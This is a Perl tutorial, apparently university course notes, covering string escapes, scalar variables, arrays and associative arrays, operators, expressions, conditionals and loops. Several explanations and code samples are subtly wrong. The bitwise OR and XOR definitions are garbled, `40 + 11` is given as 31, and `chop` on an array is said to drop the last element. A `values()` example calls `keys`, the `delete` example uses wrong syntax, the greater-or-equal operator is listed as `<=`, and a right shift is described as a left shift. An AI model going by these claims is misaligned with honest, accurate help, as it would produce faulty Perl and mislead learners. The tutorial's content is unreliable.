	need to use an uppercase E
	here,
	lowercase will not work.
\E	Terminate the \L, \Q,
	or \U sequence.
	Note that you need to use an
	uppercase E here, lowercase will not work.
\\	Backslash

Note In the next chapter we'll see why you might need to use a backslash when using the $ and @ characters.

The examples following the table will illustrate some of them.

```
"\udave \umarshall is \x35\x years
old."
```

This literal represents the following: `Dave Marshall is 35 years old.`

The \u is used twice in the first word to capitalize the `d` and `m` characters. And the hexadecimal notation is used to represent the age using the ASCII codes for 3 and 5.

```
"The kettle was \Uhot\E!"
```

This literal represents the following: `The kettle was HOT!`. The \U capitalizes all characters until a \E sequence is seen.

A final example:

```
print "Bill of Goods



Bread:\t\$34.45\n";

print "Fruit:\t";

print "\$45.00\n";

print "\t======\n";

print "\t\$79.45\n";
```

Actually, this example isn't too difficult, but it does involve looking at more than one literal at once and it's been a few pages since our last advanced example. Let's look at the \t and \n escape sequences.

This program uses two methods to cause a line break.

- The first is simply to include the line break in the source code.
- The second is to use the \n or newline character.

I recommend using the \n character so that when looking at your code in the future, you can be assured that you meant to cause a line break and did not simply press the ENTER key by mistake.

Caution If you are a C/C++ programmer, this material is not new to you. However, Perl strings are *not identical* to C/C++ strings because they have no ending NULL character. If you are thinking of converting C/C++ programs to Perl, take care to modify any code that relies on the NULL character to end a string.

- Example: Back-Quoted Strings

---

dave@cs.cf.ac.uk

Example: Back-Quoted Strings

It might be argued that back-quoted strings are not really a data type. That's because Perl uses back-quoted strings to execute system commands. When Perl sees a back-quoted string, it passes the contents to Windows, UNIX, or whatever operating system you are using.

Let's see how to use the back-quoted string to display a directory listing of all text files in the perl5 directory:

```
print `dir *.txt`;
```

---

dave@cs.cf.ac.uk

Variables

In the last chapter, we learned about *literals* -- values that don't change while your program runs because you represent them in your source code *exactly* as they should be used. Most of the time, however, you will need to change the values that your program uses. To do this, you need to set aside pieces of computer memory to hold the changeable values. And, you need to keep track of where all these little areas of memory are so you can refer to them while your program runs.

Perl, like all other computer languages, uses variables to keep track of the usage of computer memory. Every time you need to store a new piece of information, you assign it to a variable.

You've already seen how Perl uses numbers, strings, and arrays. Now, you'll see how to use variables to hold this information. Perl has three types of variables:

Scalar

-- denoted by a `$` symbol prefix. A scalar variable can be either a number or a string.

Array

-- denoted by a `@` symbol prefix. Arrays are indexed by numbers.

Associative Array

-- denoted by a `%` symbol prefix. Arrays are indexed by strings. You can look up items by name.

Note: This is quite different than Pascal and even C. But Hopefully this makes things easier.

We will deal with arrays in the next chapter. For now we concentrate on *scalars*

The different beginning characters help you understand how a variable is used when you look at someone else's Perl code. If you see a variable called `@Value`, you automatically know that it is an array variable.

They also provide a different *namespace* for each variable type. Namespaces separate one set of names from another. Thus, Perl can keep track of scalar variables in one table of names (or namespace) and array variables in another. This lets you use `$name`, `@name`, and `%name` to refer to different values.

Tip I recommend against using identical variable names for different data types unless you have a very good reason to do so. And, if you do need to use the same name, try using the plural of it for the array variable. For example, use `$name` for the scalar variable name and `@names` for the array variable name. This might avoid some confusion about what your code does in the future.

Note Variable names in Perl are case-sensitive. This means that `$varname`, `$VarName`, `$varName`, and `$VARNAME` all refer to different variables.

Each variable type will be discussed in its own section. You'll see how to name variables, set their values, and some of the uses to which they can be put.

- Scalar Variables
  - Defining Scalar Variables
  - String Scalar Variables

dave@cs.cf.ac.uk

Scalar Variables

Scalar variables can be either a number or a string -- What might seem confusing at first sight actually makes a lot of sense and can make programming a lot easier.

- You can use variable types almost interchangeably. Numbers first then strings later
- Numbers are numbers -- there is no integer type *per se*. Perl regards all numbers a floating point numbers for calculations *etc*.

- Defining Scalar Variables
- String Scalar Variables

---

dave@cs.cf.ac.uk

Defining Scalar Variables

You define scalar variables by assigning a value (number or string) to it.

- You do not declare variable types at a special place in the program as in PASCAL.
- It is a good idea to declare all variables together near the top of the program.

The following are simple examples (`var1.pl`) of variable declarations:

```
$first_name = "David";
$last_name = "Marshall";

$number = 3;

$another_number = 1.25;

$sci_number = 7.25e25;

$octal_number = 0377; # same as 255 decimal

$hex_number = 0xff; # same as 255 decimal
```

NOTE:

- All references to scalar variables need a $.
- Perl commands end with a semicolon (;). This can be omitted from last lines of ``blocks'' of statements like PASCAL.
- All standard number formats are supported integer, float and scientific literal values are supported.
- Hexadecimal and Octal number formats are supported by 0x and 0 prefix.

---

dave@cs.cf.ac.uk

String Scalar Variables

Strings are a sequence of characters. Perl has two types of string:

Single-quoted strings

-- denoted by `....'. All characters are regarded as being literal characters. That is to say special format characters like `\n` are regarded as being two characters `\` and `n` with no special meaning. Two exceptions:

- To get a single-quote character do `\n'`
- To get a backslash character do `\\'`

Double-quoted strings

-- Special format characters now have a special meaning.

Some special format characters include:

```
\n      newline
\r      carriage return
\t      tab
\b      backspace
\\      backslash character
\"      double-quote character
\l      lower case next letter
\L      lower case all letters until \E
\u      upper case next letter
\U      upper case all letters until \E
\E      Terminate \L or \E
```

Arrays

We can have literal and variable arrays in Perl

We can also have two forms of array:

- Arrays - An array is a series of numbers and strings handled as a unit. You can also think of an array as a list.
- Associative Arrays - This is the most complicated data type. Think of it as a list in which every value has an associated lookup item.

- What is an Array?
- Literal Arrays
- Indexed Arrays
- Some Useful Array Functions
- Associative Arrays
  - Associative Array Operators

---

dave@cs.cf.ac.uk

What is an Array?

Perl uses *arrays*-or lists-to store a series of items. You could use an array to hold all of the lines in a file, to help sort a list of addresses, or to store a variety of items. We'll look at some simple arrays in this section.

An array, in Perl, is an ordered list of scalar data.

Each element of an array is an separate scalar variable with a independent scalar value -- unlike PASCAL or C.

Arrays can therefore have *mixed* elements, for example

```
(1,"fred", 3.5)
```

is perfectly valid.

---

dave@cs.cf.ac.uk

Literal Arrays

Arrays can be defined literally in Perl code by simply enclosing the array elements in parentheses and separating each array element with a comma.

For example

```
(1, 2, 3)
("fred", "albert")
() # empty array (zero elements)
(1..5) # shorthand for (1,2,3,4,5)
```

---

dave@cs.cf.ac.uk

Indexed Arrays

You declare an ordinary indexed array by giving it a name and prefixing it with a @

Values are assigned to arrays in the usual fashion:

```
@array = (1,2,3);

@copy_array = @array;

@one_element = 1;
# not an error but create the array (1)
```

Arrays can also be referenced in the literal list, for example:

```
@array1 = (4,5,6);

@array2 = (1,2,3, @array1, 7,8);
```

results in the elements of `array1` being inserted in the appropriate parts of the list.

Therefore after the above operations

```
@array2 = (1,2,3,4,5,6,7,8)
```

This means Lists cannot contain other lists elements only scalars allowed.

Elements of arrays are indexed by index:

```
$array1[1] = $array2[3];
```

Assign ``third'' element of `array2` to ``first'' element of `array1`.

Each array element is a scalar so we reference each array element with $.

BIG WARNING:

Array indexing starts from **0** in Perl (like C).

So

```
@array = (1,2,3,4,5,6,7,8);
```

The index `$array[0]` refers to 1 and `$array[5]` refers to 6.

If you assign a scalar to an array the scalar gets assigned the length of the array, *i.e*:

```
@array2 = (1,2,3,4,5,6,7,8);

$length = @array2; # length = 8

$length = $array2[3];
# length gets ``third'' value
# in array i.e 4
```

---

dave@cs.cf.ac.uk

Some Useful Array Functions

`push()` and `pop()`

One common use of an array is as a stack.

`push()` and `pop()` add or remove an item from the right hand side of an array.

```
push(@mystack,$newvalue);
# add new value to stack

$off_value = pop(@mystack);
# take last element off array
```

`shift()` and `unshift()`

Like `push()` and `pop()` except put values on and take values off the left side of an array.

`reverse()`

As one would expect this will reverse the ordering of list. For example:

```
@a = (1,2,3);

@b = reverse(@a);
```

results in `b` containing `(3,2,1)`.

`sort()`

This is a useful function that sorts an array. **NOTE**: Sorting is done on the string values of each number (alphabetical)

Thus:

```
@x = sort("small","medium","large");

# gets @x = ("large","medium","small");

@y = sort(1,,32,16,4,2);

# gets @x = (1,16,2,32,4);
```

`chop()`

Just as on a scalar string it removes the last element from an array, for example:

```
@x = ("small","medium","large");

chop(@x);

# gets @x =  ("small","medium")
```

---

dave@cs.cf.ac.uk

Associative Arrays

Associative arrays are a very useful and commonly used feature of Perl.

Associative arrays basically store *tables* of information where the lookup is the right hand *key* (usually a string) to an associated scalar value. Again scalar values can be mixed ``types".

We have already been using Associative arrays for name/value pair input to CGI scripts.

Associative arrays are denoted by a verb| When you declare an associative array the key and associated values are listed in consecutive pairs.

So if we had the following secret code lookup:

name	code
dave	1234
peter	3456
andrew	6789

We would declare a Perl associative array to perform this lookup as follows:

```
%lookup = ("dave", 1234,
           "peter", 3456,
           "andrew", 6789);
```

The reference a particular value you do:

```
$lookup{"dave"}
```

You can create new elements by assignments to new *keys*. *E.g.*

```
$lookup{"adam"} = 3845;
```

You do new assignments to old keys also:

```
# change dave's code
$lookup{"dave"} = 7634;
```

- Associative Array Operators

---

dave@cs.cf.ac.uk

Associative Array Operators

`keys()`

The `keys(%arrayname)` lists all the key names in a specified associative array. The answer is returned as an ordinary index array.

E.g.

```
@names = keys(%lookup);
```

`values()` This operator returns the values of the specified associative array.

E.g.

```
@codes = keys(%lookup);
```

`delete` deletes an associated key and value by key reference, *e.g.*

```
# scrub adam from code list
delete $lookup("adam");
```

---

dave@cs.cf.ac.uk

Operators

The *operators* in a computer language tell the computer what actions to perform. Perl has more operators than most languages. You've already seen some operators-like the equals or assignment operator(=). As you read about the other operators, you'll undoubtedly realize that you are familiar with some of them. Trust your intuition; the definitions that you already know will probably still be true.

Operators are instructions you give to the computer so that it can perform some task or operation. All operators cause actions to be performed on *operands*. An operand can be anything that you perform an operation on. In practical terms, any particular operand will be a literal, a variable, or an expression. You've already been introduced to literals and variables. A good working definition of expression is some combination of operators and operands that are evaluated as a unit. Chapter 6 "Statements," has more information about expressions.

Operands are also *recursive* in nature. In Perl, the expression 3 + 5-two operands and a plus operator-can be considered as one operand with a value of 8. For instance, (3 + 5) - 12 is an expression that consists of two operands, the second of which is subtracted from the first. The first operand is (3 + 5) and the second operand is 12.

This chapter will discuss most of the operators available to you in Perl . You'll find out about many operator types and how to determine their order of precedence. And, of course, you'll see many examples.

Precedence is very important in every computer language and Perl is no exception. The *order of precedence* indicates which operator should be evaluated first.

- The Binary Arithmetic Operators
- The Unary Arithmetic Operators
- The Logical Operators
- The Bitwise Operators
  - Comparison operators for numbers and strings
- The Range Operator (..)
- The String Operators (. and x)
- Order of Precedence

---

 dave@cs.cf.ac.uk

The Binary Arithmetic Operators

There are six *binary arithmetic operators*: addition, subtraction, multiplication, exponentiation (**), division, and modulus (%).

For example, `op1.pl`:

```
$x = 3 + 1;
$y = 6 - $x;

$z = $x * $y;

$w = 2**3;  # 2 to the power of 3 = 8
```

The modulus operator is useful when a program needs to run down a list and do something every few items. This example shows you how to do something every 10 items, `mod.pl`:

```
for ($index = 0; $index <= 100; $index++) {

    if ($index % 10 == 0) {

        print("$index ");

    }

}
```

When this program is run, the output should look like the following:

```
0 10 20 30 40 50 60 70 80 90 100
```

Notice that every tenth item is printed. By changing the value on the right side of the modulus operator, you can affect how many items are processed before the message is printed. Changing the value to 15 means that a message will be printed every 15 items. Chapter 6 describes the `if` and `for` statement in more detail.

The Unary Arithmetic Operators

In common with C, Perl has two short hand unary operators that can prove useful.

The unary arithmetic operators act on a single operand. They are used to change the sign of a value, to increment a value, or to decrement a value. *Incrementing* a value means to add one to its value. *Decrementing* a value means to subtract one from its value.

In many statements we frequently write something like:

```
$a = $a + 1;
```

we can write this more compactly as:

```
$a += 1;.
```

This works for any operator so this is equivalent:

```
$a = $a * $b;
$a *= $b;
```

You can also automatically increment and decrement variables in Perl with the `++` and `--` operators.

For example all three expressions below achieve the same result:

```
$a = $a + 1;
$a += 1;
++$a;
```

The `++` and `--` operators can be used in *prefix* and *postfix* mode in expressions. There is a difference in their use.

In Prefix the operator comes before the variable and this indicates that the value of the operation be used in the expression: *I.e.*

```
$a = 3;
$b = ++$a;
```

results in `a` being incremented to 4 before this new value is assigned to `b`. That is to say BOTH `a` and `b` have the value 4 after these statements have been executed.

In postfix the operator comes after the variable and this indicates that the value of the variable before the operation be used in the expression and then the variable is incremented or decremented: *I.e.*

```
$a = 3;
$b = $a++;
```

results in the value of `a` (3) being assigned to `b` and then `a` gets incremented to 4 That is to that after these statements have been executed `b = 3` and `a = 4`.

The Perl programming language has many ways of achieving the same objective. You will become a more efficient programmer if you decide on one approach to incrementing/decrementing and use it consistently.

---

dave@cs.cf.ac.uk

The Logical Operators

Logical operators are mainly used to control program flow. Usually, you will find them as part of an `if`, a `while`, or some other control statement (Chapter 6)

The Logical operators are:

`op1 && op2`

-- Performs a logical AND of the two operands.

`op1 || op2`

-- Performs a logical OR of the two operands.

`!op1`

-- Performs a logical NOT of the operand.

The concept of logical operators is simple. They allow a program to make a decision based on multiple conditions. Each operand is considered a condition that can be evaluated to a true or false value. Then the value of the conditions is used to determine the overall value of the `op1 operator op2` or `!op1` grouping. The following examples demonstrate different ways that logical conditions can be used.

The && operator is used to determine whether both operands or conditions are true `and.pl`.

For example:

```
if ($firstVar == 10 && $secondVar == 9) {

    print("Error!");

};
```

If either of the two conditions is false or incorrect, then the print command is bypassed.

The || operator is used to determine whether either of the conditions is true.

For example:

```
if ($firstVar == 9 || $firstVar == 10) {

    print("Error!");
```

If either of the two conditions is true, then the print command is run.

Caution If the first operand of the || operator evaluates to true, the second operand will not be evaluated. This could be a source of bugs if you are not careful.

For instance, in the following code fragment:

```
if ($firstVar++ || $secondVar++) { print("\n"); }
```

variable `$secondVar` will not be incremented if `$firstVar++` evaluates to true.

The `!` operator is used to convert true values to false and false values to true. In other words, it inverts a value. Perl considers any non-zero value to be true-even string values. For example:

```
$firstVar = 10;

$secondVar = !$firstVar;



if ($secondVar == 0) {

   print("zero\n");

};
```

is equal to *`0-`* and the program produces the following output:

```
zero
```

You could replace the 10 in the first line with "ten," 'ten,' or any non-zero, non-null value.

---

dave@cs.cf.ac.uk

The Bitwise Operators

The *bitwise* operators are similar to the logical operators, except that they work on a smaller scale -- binary representations of data.

The following operators are available:

- `op1 & op2` -- The AND operator compares two bits and generates a result of 1 if both bits are 1; otherwise, it returns 0.
- `op1 | op2` -- The OR operator compares two bits and generates a result of 1 if the bits are complementary; otherwise, it returns 0.
- `op1^op2` -- The EXCLUSIVE-OR operator compares two bits and generates a result of 1 if either or both bits are 1; otherwise, it returns 0.
- `~op1` -- The COMPLEMENT operator is used to invert all of the bits of the operand.
- `op1 >> op2` -- The SHIFT RIGHT operator moves the bits to the right, discards the far right bit, and assigns the leftmost bit a value of 0. Each move to the right effectively divides `op1` in half.
- `op1 << op2` -- The SHIFT LEFT operator moves the bits to the left, discards the far left bit, and assigns the rightmost bit a value of 0. Each move to the left effectively multiplies `op1` by 2.

Note Both operands associated with the bitwise operator must be integers.

Bitwise operators are used to change individual bits in an operand. A single byte of computer memory-when viewed as 8 bits-can signify the true/false status of 8 flags because each bit can be used as a boolean variable that can hold one of two values: true or false. A *flag* variable is typically used to indicate the status of something. For instance, computer files can be marked as read-only. So you might have a `$fReadOnly` variable whose job would be to hold the read-only status of a file. This variable is called a flag variable because when `$fReadOnly` has a true value, it's equivalent to a football referee throwing a flag. The variable says, "Whoa! Don't modify this file."

When you have more than one flag variable, it might be more efficient to use a single variable to indicate the value of more than one flag. The next example shows you how to do this.

Example: Using the &, |, and ^ Operators

The first step to using bitwise operators to indicate more than one flag in a single variable is to define the meaning of the bits that you'd like to use. Figure 5.1 shows an example of 8 bits that could be used to control the attributes of text on a display.

The bit definition of a text attribute control variable

If you assume that `$textAttr` is used to control the text attributes, then you could set the italic attribute by setting `$textAttr` equal to 128 like this:

```
$textAttr = 128;
```

because the bit pattern of 128 is 10000000. The bit that is turned on corresponds to the italic position in `$textAttr`.

Now let's set both the italic and underline attributes on at the same time. The underline value is 16, which has a bit pattern of 00010000. You already know the value for italic is 128. So we call on the `OR` operator to combine the two values.

```
$textAttr = 128 | 16;
```

or using the bit patterns (this is just an example-you can't do this in Perl)

```
$textAttr = 10000000 | 00010000;
```

You will see that `$textAttr` gets assigned a value of 144 (or 10010000 as a bit pattern). This will set both italic and underline attributes on.

The next step might be to turn the italic attribute off. This is done with the EXCLUSIVE-OR operator, like so:

```
$textAttr = $textAttr ^ 128;
```

Example: Using the >> and << Operators

The *bitwise shift* operators are used to move all of the bits in the operand left or right a given number of times. They come in quite handy when you need to divide or multiply integer values.

This example will divide by 4 using the `>>` operator.

```
$firstVar = 128;

$secondVar = $firstVar >> 2;

print("$secondVar\n");
```

Here we

- Assign a value of 128 to the `$firstVar` variable.
- Shift the bits inside `$firstVar` two places to the right and
- assign the new value to `$secondVar` .
- Print the `$secondVar`t variable.

The program produces the following output:

```
32
```

Let's look at the bit patterns of the variables before and after the shift operation. First, `$firstVar` is assigned 128 or 10000000. Then, the value in `$firstVar` is shifted left by two places. So the new

value is 00100000 or 32, which is assigned to `$secondVar`.

The rightmost bit of a value is lost when the bits are shifted right. You can see this in the next example.

The next example will multiply 128 by 8.

```
$firstVar = 128;

$secondVar = $firstVar << 3;

print $secondVar;
```

The program produces the following output:

```
1024
```

The value of 1024 is beyond the bounds of the 8 bits that the other examples used. This was done to show you that the number of bits available for your use is not limited to one byte. You are really limited by however many bytes Perl uses for one scalar variable (probably 4). You'll need to read the Perl documentation that came with the interpreter to determine how many bytes your scalar variables use.

- Comparison operators for numbers and strings

---

dave@cs.cf.ac.uk

Comparison operators for numbers and strings

Perl has different operators (relational and equality operators)for comparing numbers and strings. They are defined as follows:

Equality	Numeric	String
Equal	`==`	`eq`
Not Equal	`!=`	`ne`
Comparison	`<=>`	`cmp`
Relational	Numeric	String
Less than	`<`	`lt`
Greater than	`>`	`gt`
Less than or equal	`<=`	`le`
Greater than or equal	`<=`	`ge`

In controlling the logic of a conditional expression logical operators are frequently required.

In Perl, The logical AND operator is && and logical OR is `||`.

For example to check if a valid number exist in a variable `$var` you could do:

```
if ( ($var ne "0") && ($var == 0))
  { # $var is a number
  }
```

Since Perl evaluates any string to 0 if is not a number.

The *numeric relational* operators, listed above are used to test the relationship between two operands. You can see if one operand is equal to another, if one operand is greater than another, or if one operator is less than another.

Note It is important to realize that the equality operator is a pair of equal signs and not just one. Quite a few bugs are introduced into programs because people forget this rule and use a single equal sign when testing conditions.

Example: Using the <=> Operator

The *number comparison* operator is used to quickly tell the relationship between one operand and another. It is frequently used during sorting activities.

Witth the form `op1 <=> op2` this operator returns 1 if `op1` is greater than `op2`, 0 if op1 equals `op2`, and -1 if `op1` is less than `op2`.

You may sometimes see the <=> operator called the spaceship operator because of the way that it looks.

In the following example `op2.pl` we: *Set up three variables and rint the relationship of each variable to the variable*

```
$lowVar =  8;

$midVar = 10;

$hiVar  = 12;


print($lowVar <=> $midVar, "\n");

print($midVar <=> $midVar, "\n");

print($hiVar  <=> $midVar, "\n");
```

The program produces the following output:

```
-1
0
1
```

The -1 indicates that `$lowVar (8)` is less than `$midVar (10)`. The 0 indicates that `$midVar` is equal to itself. And the 1 indicates that `$hiVar (12)` is greater than `$midVar (10)`.

The *string relational operators* are used to test the relationship between two operands. You can see if one operand is equal to another, if one operand is greater than another, or if one operator is less than another.

String values are compared using the ASCII values of each character in the strings. You will see examples of these operators when you read about control program flow in Chapter 7 "Control Statements." So, we'll only show an example of the `cmp` comparison operator here.

Example: Using the `cmp` Operator

The string comparison `cmp` operator acts exactly like the < => operator except that it is designed to work with string operands. The following example, `cmp.pl`, will compare the values of three different strings:

Set up three variables and Prints the relationship of each variable to the variable, much like the numeric example

```
$lowVar = "AAA";

$midVar = "BBB";

$hiVar  = "ccC";
```

```
print($lowVar cmp $midVar, "\n");

print($midVar cmp $midVar, "\n");

print($hiVar  cmp $midVar, "\n");
```

The program produces the following output:

```
-1
0
1
```

Notice that even though strings are being compared, a numeric value is returned. You may be wondering what happens if the strings have spaces in them. Let's explore that for a moment. `cmp2.pl`:

```
$firstVar = "AA";

$secondVar = " A";

print($firstVar cmp $secondVar, "\n");
```

The program produces the following output:

```
1
```

which means that "AA" is greater than " A" according to the criteria used by the `cmp` operator.

---

dave@cs.cf.ac.uk

The Range Operator (..)

The range operator is used as a shorthand way to set up arrays.

When used with arrays, the range operator simplifies the process of creating arrays with contiguous sequences of numbers and letters. We'll start with an array of the numbers one through ten.

For example tp Create an array with ten elements that include 1, 2, 3, 4, 5, 6, 7, 8, 9, and 10 simply write:

```
@array = (1..10);
```

You can also create an array of contiguous letters, for ecample: an array with ten elements that include A, B, C, D, E, F, G, H, I , and J. is written

```
@array = ("A".."J");
```

And, of course, you can have other things in the array definition besides the range operator.

You can create an array that includes AAA, 1, 2, 3, 4, 5, A, B, C, D, and ZZZ by the following

```
@array = ("AAA", 1..5, "A".."D", "ZZZ");
```

You can use the range operator to create a list with zero-filled numbers.

To create an array with ten elements that include the strings 01, 02, 03, 04, 05, 06, 07, 08, 09, and 10 do:

```
@array = ("01".."10");
```

And you can use variables as operands for the range operator.

To assign a string literal to `$firstVar`. Create an array with ten elements that include the strings 01, 02, 03, 04, 05, 06, 07, 08, 09, and 10:

```
$firstVar = "10";
@array = ("01"..$firstVar);
```

If you use strings of more than one character as operands, the range operator will increment the rightmost character by one and perform the appropriate carry operation when the number 9 or letter z is reached. You'll probably need to see some examples before this makes sense.

You've already seen "A".."Z," which is pretty simple to understand. Perl counts down the alphabet until Z is reached.

Caution should be heeded however: The two ranges "A".."Z" and "a".."Z" are not identical. And the second range does not contain all lowercase letters and all uppercase letters. Instead, Perl creates an array that contains just the lowercase letters. Apparently, when Perl reaches the end of the

alphabet-whether lowercase or uppercase-the incrementing stops.

What happens when a two-character string is used as an operand for the range operator?

To create an array that includes the strings aa, ab, ac, ad, ae, and af. write:

```
@array = ("aa" .. "af");
```

This behaves as you'd expect, incrementing along the alphabet until the f letter is reached. However, if you change the first character of one of the operands, watch what happens.

If we create an array that includes the strings ay, az, ba, bb, bc, bd, be, and bf. we must write:

```
@array = ("ay" .. "bf");
```

When the second character is incremented to z, then the first character is incremented to b and the second character is set to a.

Note If the right side of the range operator is greater than the left side, an empty array is created.

---

dave@cs.cf.ac.uk

The String Operators (. and x)

Perl has two different string operators-the concatenation (`.`) operator and the repetition (`x`) operator. These operators make it easy to manipulate strings in certain ways. Let's start with the concatenation operator. Strings can be concatenated by the . operator.

For example:

```
$first_name = "David";
$last_name = "Marshall";

$full_name = $first_name . " " . $last_name;
```

we need the " " to insert a space between the strings.

Strings can be repeated with tt x operator

For example:

```
$first_name = "David";

$david_cubed = $first_name x 3;
```

which gives `"DavidDavidDavid"`.

String can be referenced inside strings

For example:

```
$first_name = "David";

$str = "My name is: $first_name";
```

which gives `"My name is: David"`.

Conversion between numbers and Strings

This is a useful facility in Perl. Scalar variables are converted automatically to string and number values according to context.

Thus you can do

```
$x = "40";
$y = "11";

$z = $x + $y;  # answer 31
```

```
$w = $x . $y;  # answer "4011"
```

Note if a string contains any trailing non-number characters they will be ignored.

i.e. `" 123.45abc"` would get converted to `123.45` for numeric work.

If no number is present in a string it is converted to `0`.

The `chop()` operator

`chop()` is a useful operator which takes a single argument (within parenthesis) and simply removes the last character from the string. The new string is returned (overwritten) to the input string.

Thus

`chop('suey')` would give the result `'sue'`

Why is this useful?

Most strings input in Perl will end with a `\n`. If we want to string operations for output formatting and many other processed then the `\n` might be inappropriate. `chop()` can easily remove this.

Many other applications find `chop()` useful

---

 dave@cs.cf.ac.uk

Order of Precedence

The order of precedence is stricylt controlled in a similar manner to other languages. It is recommended to use parentheses to explicitly tell Perl how and in which order to evaluate operators.

Please refer to any good Perl book for Perl's order of preference of its operators.

---

dave@cs.cf.ac.uk

Perl Statements

If you look at a Perl program from a very high level, it is made of statements. *Statements* are a complete unit of instruction for the computer to process. The computer executes each statement it sees-in sequence-until a jump or branch is processed.

Statements can be very simple or very complex. The simplest statement is this

```
123;
```

which is a numeric literal followed by a semicolon. The semicolon is very important. It tells Perl that the statement is complete. A more complicated statement might be

```
$bookSize = ($numOfPages >= 1200 ?  "Large" : "Normal");
```

which says if the number of pages is 1,200 or greater, then assign `"Large"` to `$bookSize;` otherwise, assign `"Normal"` to `$bookSize`.

In Perl, every statement has a value. In the first example, the value of the statement is `123`.

In the second example, the value of the statement could be either `"Large"` or `"Normal"` depending on the value of `$numOfPages`. The last value that is evaluated becomes the value for the statement.

Like human language in which you put statements together from parts of speech-nouns, verbs, and modifiers-you can also break down Perl statements into parts. The parts are the literals, variables, and functions you have already seen in the earlier chapters of this book.

Expressions are a sequence of literals, variables, and functions connected by one or more operators that evaluate to a single value-scalar or array. An expression can be promoted to a statement by adding a semicolon. This was done for the first example earlier. Simply adding a semicolon to the literal made it into a statement that Perl could execute.

Expressions may have side effects, also. Functions that are called can do things that are not immediately obvious (like setting global variables) or the pre- and post-increment operators can be used to change a variable's value.

Let's take a short diversion from our main discussion about statements and look at expressions in isolation. Then we'll return to statements to talk about statement blocks and statement modifiers.

- Understanding Expressions
- Statement Blocks
- Statement Blocks and Local Variables
- If/Unless statement

- The for statement
- The while/until statement
- The foreach statement

---

dave@cs.cf.ac.uk

Understanding Expressions

You can break the universe of expressions up into four types:

- Simple Expressions
- Simple Expressions with Side Effects
- Simple Expression with Operators
- Complex Expressions

Simple expressions consist of a single literal or variable.

Simple expressions with side effects -- A side effect is when a variable's value is changed by the expression. Side effects can be caused using any of the unary operators: +, -, ++, -. These operators have the effect of changing the value of a variable just by the evaluation of the expression.No other Perl operators have this effect-other than the assignment operators, of course. Function calls can also have side effects- especially if local variables were not used and changes were made to global variables.

For example:

```
$numPages++; # Increments a variable

++$numPages; # Increments a variable

chop($firstVar); # Changes the value of
                 # $firstVar-a global variable
```

Simple expressions with operators are expressions that include one operator and two operands. Any of Perl's binary operators can be used in this type of expression.

For example:

```
10 + $firstVar;  # Adds ten to $firstVar

$firstVar . "AAA"; # Concatenates $firstVar and "AAA"

"ABC" x 5; # Repeats "ABC" five times
```

A *complex expression* can use any number of literals, variables, operators, and functions in any sequence.

For example:

```
(10 + 2) + 20 / (5 ** 2);
```

```
20 - (($numPages - 1) * 2);

(($numPages++ / numChapters) * (1.5 / log(10)) + 6);
```

---

dave@cs.cf.ac.uk

Statement Blocks

A *statement block* is a group of statements surrounded by curly braces. Perl views a statement block as one statement. The last statement executed becomes the value of the statement block.

In Perl statement blocks are enclosed in pairs or *curly* brackets `{....}`:

```
{

   statement_1;
   statemrnt_2;
   statemrnt_3;

.....

   statement_n;
}
```

---

dave@cs.cf.ac.uk

Statement Blocks and Local Variables

Normally, it's a good idea to place all of your variable initialization at the top of a program or function. However, if you are maintaining some existing code, you may want to use a statement block and local variables to minimize the impact of your changes on the rest of the code-especially if you have just been handed responsibility for a program that someone else has written.

You can use the `my()` function (See next Chapter for complete discussion on functions) to create variables whose scope is limited to the statement block. This technique is very useful for temporary variables that won't be needed elsewhere in your program. For example, you might have a complex statement that you'd like to break into smaller ones so that it's more understandable. Or you might want to insert some `print` statements to help debug a piece of code and need some temporary variables to accommodate the `print` statement.

For example (`print.pl`):

```
$firstVar = 10;

{

   my($firstVar) = "A";

   print $firstVar x 5 . "\n";



}

print("firstVar = $firstVar\n");
```

This program displays:

```
AAAAA

firstVar = 10
```

We now concetrate on a brief overview of Perl's conditional statements

If/Unless statement

The `if` statement has a variety of forms. The simplest is:

```
if (expression)
  {  true_statement_1;
     .....
     true_statement_n;
  }
```

which means that if `expression` is evaluated as being `true` then execute the block of statements.

In Perl, `false` is regarded as any expression which evaluates to 0. `true` any expression which is not false (non-zero).

An `else` may be added to provide a block of statements to be executed upon a `false` evaluation of the `expression`:

```
if (expression)
  {  true_statement_1;
     .....
     true_statement_n;
  }
else
  {  false_statement_1;
     .....
     false_statement_n;
  }
```

Curly braces are required for each block even if only one statement is present.

For example:

```
$age = ; # whatever ??
if ($age < 18)
  { print "You cannot Vote or have a beer, yet.\n";
  }
else
  { print "Go and Vote and then have a beer.\n";
  }
```

There is an `unless` statement in Perl which can be regarded as the *negative* of `if`: *If the control expression is* ***not*** *true, do ....*

```
$age = ; # whatever ??
unless ($age < 18)

  { print "Go and Vote and then have a beer.\n";
  }
```

`unless` can have an `else`, too.

If you have more than one branch then the `elsif` can be added to the `if`. You cannot have an `else if` in Perl -- you must use `elsif`.

```
$age = ; # whatever ??
if ($age < 16)
  {
    print "Hi, Junior\n";
  }
elsif ($age < 17)
 {
    print You can ????\n";
  }
elsif ($age < 18)
 {
    print You can learn to drive\n";
  }
else
  { print "Go and Vote and then have a beer.\n";
  }
```

Note: The last `else`.

- The for statement
- The while/until statement
- The foreach statement

---

dave@cs.cf.ac.uk

The for statement

Just like in PASCAL we have loops.

The simplest is the `for` loop. It actually behaves like C's statement and is a little more complex than PASCAL -- it can do some more things.

The format of the `for` statement is:

```
for ( initialise_expr; test_expr; increment_expr )
  {
     statement(s);
  }
```

For example (`count.pl`):

```
for ( $i = 1; $i <= 10; ++$i )
  { # count to 10
     print "$i\n";
  }
```

---

dave@cs.cf.ac.uk

The while/until statement

The `while` statement is as follows:

```
while (expression)
  { # while expression is true execute this block

      statement(s);
  }
```

For example (`count_while.pl`):

```
i = 1;
while (  $i <= 10 )
  { # count to 10
     print "$i\n";
     ++$i;
  }
```

The `until` statement says `do while expression is false` as declared is as follows:

```
until (expression)
  { # until expression is false execute this block

      statement(s);
  }
```

For example (`count_until.pl`):

```
i = 1;
until (  $i > 10 )
  { # count to 10
     print "$i\n";
     ++$i;
  }
```

The foreach statement

The `foreach` statement iterates through items in a list: The statement has the following format:

```
foreach $i (@some_list)
  {  # $i takes on each list item value in turn
     statement(s);
  }
```

For example (`foreach.pl`):

```
@a = (1, 2, 3, 4, 5);
foreach $i (reverse @a)
  { # reverse is a functiion that flips the list order
    print $i;
  }
```

---

dave@cs.cf.ac.uk

Functions

This chapter takes a look at *functions*. Functions are blocks of codes that are given names so that you can use them as needed. Functions help you to organize your code into pieces that are easy to understand and work with. They let you build your program step by step, testing the code along the way.

